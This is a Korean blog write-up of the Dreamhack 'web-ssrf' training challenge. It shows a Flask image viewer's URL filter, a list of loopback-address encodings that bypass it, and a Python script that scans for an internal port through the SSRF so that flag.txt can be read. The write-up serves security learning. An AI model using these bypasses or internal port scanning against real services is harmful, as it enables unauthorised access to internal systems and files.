본문 바로가기

웹해킹

드림핵 web-ssrf 롸업

<문제>

flask로 작성된 image viewer 서비스 입니다.

SSRF 취약점을 이용해 플래그를 획득하세요. 플래그는 /app/flag.txt에 있습니다.

 

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET": 
        return render_template("img_viewer.html") 
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url) 
        if url[0] == "/":
            url = "http://localhost:8000" + url
        # URL 필터링
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc): 
            data = open("error.png", "rb").read() 
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read() 
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

img_viewer 부분에서 사용자의 입력이 url에 들어가는데 127.0.0.1과 localhost가 필터링 되어 있다.

 

http://vcap.me:8000/
http://0x7f.0x00.0x00.0x01:8000/
http://0x7f000001:8000/
http://2130706433:8000/
http://Localhost:8000/
http://127.0.0.255:8000/

 

이런 주소들로 우회를 할 수 있다.

 

하지만 8000번 포트는 문제 서버의 포트이기 때문에 문제 인덱스 페이지를 인코딩한 이미지가 반환된다.

따라서 내부 서버의 포트 번호를 찾아야 한다.

import requests
import sys
from tqdm import tqdm

# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"

def send_img(img_url):
    global chall_url
    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)
    return response.text
    
    
def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"http://Localhost:{port}"
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break
    return port
    
    
if __name__ == "__main__":
    chall_port = 12718
    chall_url = f"http://host3.dreamhack.games:{chall_port}/img_viewer"
    internal_port = find_port()

이 코드를 이용해 1500~1800 사이에 있는 랜덤한 포트 번호를 찾아낼 수 있다.

포트를 찾아서 flag.txt를 읽어오고 보면

base64로 인코딩된 값을 찾을 수 있다.

이 문자열을 base64로 디코딩하면 DH{}형식의 flag가 나온다.

'웹해킹' 카테고리의 다른 글

드림핵 blind-command 롸업  (0) 2023.11.05
드림핵 Carve Party 롸업  (0) 2023.11.05
ServerSide: SSRF  (0) 2023.11.05
드림핵 file-download-1 롸업  (0) 2023.11.05
드림핵 image-storage 롸업  (0) 2023.11.05